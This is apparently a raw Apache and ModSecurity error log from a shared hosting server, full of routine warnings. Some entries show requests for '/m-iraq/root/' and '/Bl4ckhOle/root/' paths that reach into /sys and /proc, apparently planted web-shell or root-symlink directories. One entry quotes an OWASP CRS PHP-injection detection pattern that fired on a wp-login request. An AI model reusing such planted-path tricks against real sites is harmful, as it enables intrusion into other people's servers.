[Fri Jul 17 08:08:29.957006 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:30.161891 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:30.175680 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:30.247937 2026] [core:error] [pid 1996894:tid 1996894] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu2/driver/bind
[Fri Jul 17 08:08:30.258593 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:30.339943 2026] [core:error] [pid 1994966:tid 1994966] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:1f/subsystem/drivers_probe
[Fri Jul 17 08:08:30.431952 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:30.619716 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:31.186090 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:31.273482 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 47.82.53.3:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:64/device/firmware_node/subsystem/uevent
[Fri Jul 17 08:08:31.341201 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:31.463483 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:31.565736 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:32.010240 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVp41dLClkUfK_dfHdUwAAAAI"], referer: http://www.anandaobauae.org/?13.59.30.180uploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:08:32.010267 2026] [security2:error] [pid 1993619:tid 1993619] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVp41dLClkUfK_dfHdUwAAAAI"], referer: http://www.anandaobauae.org/?13.59.30.180uploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 08:08:32.289414 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:32.904755 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:33.052207 2026] [core:error] [pid 1993574:tid 1993574] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/subsystem/drivers/button/unbind
[Fri Jul 17 08:08:33.220208 2026] [mime:warn] [pid 1996894:tid 1996894] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:33.251437 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:33.522765 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:33.546683 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:33.622922 2026] [core:error] [pid 1994446:tid 1994446] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/class/rtc/rtc0/device/subsystem/uevent
[Fri Jul 17 08:08:33.788022 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:33.802103 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:33.844229 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:33.893939 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:34.048219 2026] [mime:warn] [pid 2002425:tid 2002425] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:34.183371 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:34.252495 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:34.975784 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:35.621550 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:35.682823 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVqziSeFVxYLkcq6IZxQAAAAc"], referer: http://www.anandaobauae.org/?13.59.30.180uploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:08:35.682891 2026] [security2:error] [pid 1993675:tid 1993675] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almVqziSeFVxYLkcq6IZxQAAAAc"], referer: http://www.anandaobauae.org/?13.59.30.180uploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 08:08:36.801111 2026] [core:error] [pid 1994956:tid 1994956] (13)Permission denied: [client 57.141.18.92:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory11/subsystem/devices/memory50/subsystem/devices/memory103/subsystem/uevent
[Fri Jul 17 08:08:36.892300 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:36.931991 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:36.975612 2026] [mime:warn] [pid 1994976:tid 1994976] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:37.131017 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:37.132433 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:37.163728 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:38.827514 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:38.830016 2026] [mime:warn] [pid 1993574:tid 1993574] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:38.975491 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:39.615214 2026] [mime:warn] [pid 1993584:tid 1993584] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:39.896647 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:40.723461 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:40.823494 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:40.923780 2026] [mime:warn] [pid 1994966:tid 1994966] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:41.109201 2026] [mime:warn] [pid 1994967:tid 1994967] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:41.625899 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:42.201506 2026] [ssl:error] [pid 1993668:tid 1993668] (70014)End of file found: [client 66.85.158.91:33114] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:08:42.220276 2026] [mime:warn] [pid 1993998:tid 1993998] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:42.294796 2026] [ssl:error] [pid 1994966:tid 1994966] (70014)End of file found: [client 66.85.158.91:33128] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:08:43.980037 2026] [core:error] [pid 1994967:tid 1994967] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/dev/char/243:1/device/subsystem/uevent
[Fri Jul 17 08:08:44.004013 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:44.063212 2026] [ssl:error] [pid 1994976:tid 1994976] (70014)End of file found: [client 66.85.158.91:33240] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:08:44.253388 2026] [ssl:error] [pid 1993574:tid 1993574] (70014)End of file found: [client 66.85.158.91:33256] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:08:44.363481 2026] [ssl:error] [pid 1993571:tid 1993571] (70014)End of file found: [client 66.85.158.91:33270] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:08:45.107597 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:33286] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:08:45.216782 2026] [ssl:error] [pid 1994967:tid 1994967] (70014)End of file found: [client 66.85.158.91:33300] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:08:45.631221 2026] [mime:warn] [pid 1993604:tid 1993604] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:45.733295 2026] [core:error] [pid 1993619:tid 1993619] (13)Permission denied: [client 114.119.135.158:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/public_html/js/Bl4ckhOle/root/usr/tmp/20250911-125048-aMJ4UNFAsEYCUhLL_UHwVwAAAAY-file-KZfuCp, referer: http://www.anandaobauae.org/public_html/public_html/js/Bl4ckhOle/root/usr/tmp/?C=S%3BO%3DA
[Fri Jul 17 08:08:46.144630 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:46.719885 2026] [ssl:error] [pid 1993570:tid 1993570] (70014)End of file found: [client 66.85.158.91:33380] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:08:47.524650 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:48.701322 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:49.435390 2026] [ssl:error] [pid 1993584:tid 1993584] (70014)End of file found: [client 66.85.158.91:33488] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:08:49.520056 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:49.882500 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:50.611895 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:51.618861 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:53.409158 2026] [security2:error] [pid 2002425:tid 2002425] [client 57.141.18.86:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/cwd/proc/thread-self/root/sys/bus/memory/devices/memory23/node0/memory138/node0/memory140/"] [unique_id "almVvaUJv0yl2bIgVrkJqwAAABU"]
[Fri Jul 17 08:08:53.409200 2026] [security2:error] [pid 2002425:tid 2002425] [client 57.141.18.86:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/cwd/proc/thread-self/root/sys/bus/memory/devices/memory23/node0/memory138/node0/memory140/"] [unique_id "almVvaUJv0yl2bIgVrkJqwAAABU"]
[Fri Jul 17 08:08:53.547271 2026] [mime:warn] [pid 1993573:tid 1993573] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:54.850184 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/device/subsystem/input1/capabilities/sw"] [unique_id "almVvo4Wmn5zySdNNkAg8wAAABM"]
[Fri Jul 17 08:08:54.850241 2026] [security2:error] [pid 1996894:tid 1996894] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:66/device/subsystem/input1/capabilities/sw"] [unique_id "almVvo4Wmn5zySdNNkAg8wAAABM"]
[Fri Jul 17 08:08:55.762886 2026] [mime:warn] [pid 1993715:tid 1993715] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:56.322659 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:56.779270 2026] [mime:warn] [pid 1994446:tid 1994446] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:08:58.882180 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almVwkhq6UAnqYko0LpTSgAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=2050&page_105=3117
[Fri Jul 17 08:08:58.882233 2026] [security2:error] [pid 1994967:tid 1994967] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "almVwkhq6UAnqYko0LpTSgAAABE"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=2050&page_105=3117
[Fri Jul 17 08:09:01.209804 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:31/subsystem/tty24/uevent"] [unique_id "almVxVxP5-SsqbGuGB2hOAAAAAA"]
[Fri Jul 17 08:09:01.209842 2026] [security2:error] [pid 1993584:tid 1993584] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:31/subsystem/tty24/uevent"] [unique_id "almVxVxP5-SsqbGuGB2hOAAAAAA"]
[Fri Jul 17 08:09:02.062603 2026] [ssl:error] [pid 1996894:tid 1996894] (70014)End of file found: [client 66.85.158.91:38382] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:03.215763 2026] [core:error] [pid 1993571:tid 1993571] (13)Permission denied: [client 57.141.18.90:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/devices/system/memory/memory22/subsystem/devices/memory40/subsystem/devices/memory114/node0/memory53/subsystem/drivers_probe
[Fri Jul 17 08:09:04.824842 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:05.283555 2026] [mime:warn] [pid 1993675:tid 1993675] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.572973 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573090 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573135 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573171 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573205 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573237 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573267 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573299 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573328 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573361 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573393 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573425 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573456 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573489 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573518 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573550 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573583 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573616 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573660 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573693 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573722 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573753 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573783 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573815 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573855 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573890 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573922 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573953 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.573988 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574020 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574064 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574102 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574132 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574165 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574200 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574235 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574269 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574302 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574331 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574362 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574392 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574423 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574453 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574485 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574526 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574567 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574617 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574673 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574723 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574763 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574810 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574861 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574896 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574925 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.574968 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:06.847323 2026] [core:error] [pid 1993998:tid 1993998] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/bus/cpu/devices/cpu3/node0/cpu1/driver/unbind
[Fri Jul 17 08:09:06.922250 2026] [security2:error] [pid 1994446:tid 1994446] [client 85.11.167.118:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS:pwd. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?l found within ARGS:pwd: zb{0@u{vsfjq&#j(<?l[iy0hi_#9]i-lljn0=ec"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "ayuzonelanka.com"] [uri "/wp-login.php"] [unique_id "almVyl2NhE8i6ppze4eqMAAAAAs"], referer: https://ayuzonelanka.com/wp-login.php
[Fri Jul 17 08:09:06.923473 2026] [security2:error] [pid 1994446:tid 1994446] [client 85.11.167.118:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ayuzonelanka.com"] [uri "/wp-login.php"] [unique_id "almVyl2NhE8i6ppze4eqMAAAAAs"], referer: https://ayuzonelanka.com/wp-login.php
[Fri Jul 17 08:09:07.008892 2026] [ssl:error] [pid 1994956:tid 1994956] (70014)End of file found: [client 66.85.158.91:38592] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:07.304477 2026] [mime:warn] [pid 1993668:tid 1993668] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:07.565778 2026] [ssl:error] [pid 2002425:tid 2002425] (70014)End of file found: [client 66.85.158.91:38624] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:08.253021 2026] [security2:error] [pid 1994446:tid 1994446] [client 85.11.167.118:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ayuzonelanka.com"] [uri "/wp-login.php"] [unique_id "almVyl2NhE8i6ppze4eqMAAAAAs"], referer: https://ayuzonelanka.com/wp-login.php
[Fri Jul 17 08:09:08.949558 2026] [ssl:error] [pid 1999089:tid 1999089] (70014)End of file found: [client 66.85.158.91:38714] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:10.004389 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:38746] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 08:09:10.070544 2026] [mime:warn] [pid 1993570:tid 1993570] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:09:10.710650 2026] [mime:warn] [pid 1993659:tid 1993659] AH01599: Cannot get media type from 'txt'
